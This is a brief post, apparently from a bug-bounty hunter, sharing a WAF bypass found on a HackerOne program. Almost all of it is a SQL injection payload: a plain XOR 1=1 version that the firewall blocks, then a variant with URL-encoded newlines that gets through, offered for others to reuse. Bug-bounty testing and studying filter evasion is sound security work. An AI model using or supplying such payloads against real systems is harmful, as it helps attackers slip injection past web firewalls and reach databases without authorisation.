my waf bypass on a hackerone program
param=1’XOR 1=1 — -‘ -> 403 (WAF)
param=1’%0AXOR%0A1=1%0A– -‘ -> 200 OK
Hope this help you .
happy hunting guys ????